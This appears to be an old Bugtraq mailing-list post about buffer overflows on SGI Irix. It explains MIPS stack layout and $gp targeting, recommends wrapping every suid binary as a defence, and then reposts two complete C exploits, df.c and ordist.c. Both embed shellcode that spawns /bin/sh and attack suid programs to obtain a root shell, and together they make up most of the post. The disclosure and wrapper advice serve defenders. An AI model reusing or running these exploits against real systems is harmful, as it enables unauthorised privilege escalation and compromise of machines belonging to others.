So, the overflow era for Irix has publically begun. Actually, it could have
began two weeks ago, when I received a nice illustration of the saying about
a giving hand in a form of couple of exploits sent to me after I asked for
it.
A friendly fellow from Poland, who wishes to remain anonymous, sent me two
exploits and some tech info supplementing them. He indicated that he
wouldn't mind posting it to bugtraq, since it may bring up an interesting
discussion. I was reluctant to post it right away hoping to come up with
some decent workaround first, but since the ground is broken anyway, there's
not too much harm in doing it.
First, few notes about how buffer overflows can be exploited on Irix for
those unfamiliar with the architecture. First of all, Irix is running on
MIPS, and MIPS is a classic RISK CPU. So there's no RET instruction, and
return address of a subroutine doesn't have to be stored on the stack at
all. In fact, for non-leaf functions (i.e. those that don't call any
subroutines themselves) it's not stored. For leaf procedures, however,
compiler generates standard prolog/epilog that puts return address and
"frame pointer" ($gp register) on stack and restores it from there.
However, automatic variables are placed on stack _above_ them, so typical
stack entry for sub1 called from sub0 looks like
sub0 stack top (high memory addresses)
sub0 automatic vars
$ra (return address stored)
$gp
sub0 stack bottom/sub1 stack top
sub1 automatic vars
$ra
$gp
sub1 stack bottom (low memory addresses)
(this is assuming sub1 is leaf). Anyway, it's clear that by overflowing
automatic array one can't reach the stored return address on the current
subroutine. The parent's stack can be successfully smashed, though.
There're still more problems, however (this part is reworded explanation
from the author of the exploit). If you go for saved $ra, you have to smash
saved $gp on the way. In cc-generated code, though, a code sequence similar
to below is often found:
lw $gp,24($sp)
lw $t9,-32412($gp)
jalr $t9
offset is different in each case, of course. This happens before subroutine
returns, so if $gp has wrong value, it has no chance of ever returning. So
one actually has to target $gp and supply the right value which after
subtracting the offset points to the code location somewhere in argv or
envp. This may sometimes be difficult to achieve, especially on 5.3,
because of "no zero bytes" restriction.
There's also alignment issue: shell code should be perfectly aligned on word
(32 bit, in 32 bit mode) boundary, so in addition to finding right value for
$gp one has to try 4 different values for alignment.
So buffer overflows on Irix are not as trivial to exploit as say on x86, but
still it's perfectly possible, and I strongly suspect that Irix will as
usually compensate for that by having numerous potential overflows in each
and every suid binary.
As for solutions -- it's wrappers time. First of all, you should assume
that _all_ suid binaries are vulnerable. You can only wrap those binaries
for which exploits are posted, of course, and take you chances, but I really
wouldn't recommend it. If you go in wrapper business, do it for all suid
binaries once and then relax. AUSCERT wrapper found at
ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper.c
gives a basic idea of what needs to be done. I'd recommend a couple of
improvements, though. First, argv[] length check may not always be
sufficient. Few environment variables should be checked as well, e.g.
NLSPATH, LOGNAME. Checking argv for unwanted shell metacharacters would be
wise, as well. I believe that wrapper can be generalized to work for all
suid programs, sort of like srmsh does it, by looking in argv[0] and
checking it against the compile-time assembled list of programs to wrap.
Such a wrapper has to be checked against own holes very carefully, and I
currently have absolutely no time for that. I'm sure Irix community would
appreciate such a wrapper. It should be viewed as a permanent solution, not
a temporary workaround, it'll sure take a _lot_ of time for SGI to patch all
overflows, and I mean a _LOT_, you may well be retired by the time it
happens, I mean from your third job in your soul's 10th incarnation from
now.
Now for exploits. Again, I want to reiterate: I'm just reposting them, I've
absolutely nothing to do with their development, _all_ the credits go to
anonymous fellow from Poland.
These two are just examples. Author indicated that many other programs are
exploited as well, to name a few eject, xlock... The ones attached below
work on 5.3 and 6.2 on R4k, and don't work on R8k and R10k (but I'm sure
it's not hard at all to make them to). The second exploit hits ordist,
which is not needed for anything anyway, so strip suid bit off it just in
case.
cheers,
yuri
----- df.c --------------------------------------------------------------------
#include <stdlib.h>
#include <fcntl.h>
#define BUFSIZE 2061
#define OFFS 800
#define ADDRS 2
#define ALIGN 0
void run(unsigned char *buf) {
execl("/usr/sbin/df", "df", buf, NULL);
printf("execl failed\n");
}
char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
char nop[]="\x24\x0f\x12\x34";
unsigned long get_sp(void) {
__asm__("or $2,$sp,$0");
}
/* this align stuff sux - i do know. */
main(int argc, char *argv[]) {
char *buf, *ptr, addr[8];
int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
int i, noplen=strlen(nop);
if (argc >1) bufsize=atoi(argv[1]);
if (argc >2) offs=atoi(argv[2]);
if (argc >3) addrs=atoi(argv[3]);
if (argc >4) align=atoi(argv[4]);
if (bufsize<strlen(asmcode)) {
printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
exit(1);
}
if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) {
printf("Can't malloc\n");
exit(1);
}
*(int *)addr=get_sp()+offs;
printf("address - %p\n", *(int *)addr);
strcpy(buf, nop);
ptr=buf+noplen;
buf+=noplen-bufsize % noplen;
bufsize-=bufsize % noplen;
for (i=0; i<bufsize; i++)
*ptr++=nop[i % noplen];
memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
memcpy(ptr, nop, strlen(nop));
ptr+=align;
for (i=0; i<addrs<<2; i++)
*ptr++=addr[i % sizeof(int)];
*ptr=0;
printf("total buf len - %d\n", strlen(buf));
run(buf);
}
--- end of df.c ---------------------------------------------------------------
--- ordist.c ------------------------------------------------------------------
#include <stdlib.h>
#include <fcntl.h>
#define BUFSIZE 306
#define OFFS 800
#define ADDRS 2
#define ALIGN 2
void run(unsigned char *buf) {
execl("/usr/bsd/ordist", "ordist", "-d", buf, "-d", buf, NULL);
printf("execl failed\n");
}
char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
char nop[]="\x24\x0f\x12\x34";
unsigned long get_sp(void) {
__asm__("or $2,$sp,$0");
}
/* this align stuff sux - i do know. */
main(int argc, char *argv[]) {
char *buf, *ptr, addr[8];
int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
int i, noplen=strlen(nop);
if (argc >1) bufsize=atoi(argv[1]);
if (argc >2) offs=atoi(argv[2]);
if (argc >3) addrs=atoi(argv[3]);
if (argc >4) align=atoi(argv[4]);
if (bufsize<strlen(asmcode)) {
printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
exit(1);
}
if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) {
printf("Can't malloc\n");
exit(1);
}
*(int *)addr=get_sp()+offs;
printf("address - %p\n", *(int *)addr);
strcpy(buf, nop);
ptr=buf+noplen;
buf+=noplen-bufsize % noplen;
bufsize-=bufsize % noplen;
for (i=0; i<bufsize; i++)
*ptr++=nop[i % noplen];
memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
memcpy(ptr, nop, strlen(nop));
ptr+=align;
for (i=0; i<addrs<<2; i++)
*ptr++=addr[i % sizeof(int)];
*ptr=0;
printf("total buf len - %d\n", strlen(buf));
run(buf);
}
--- end of ordist.c -----------------------------------------------------------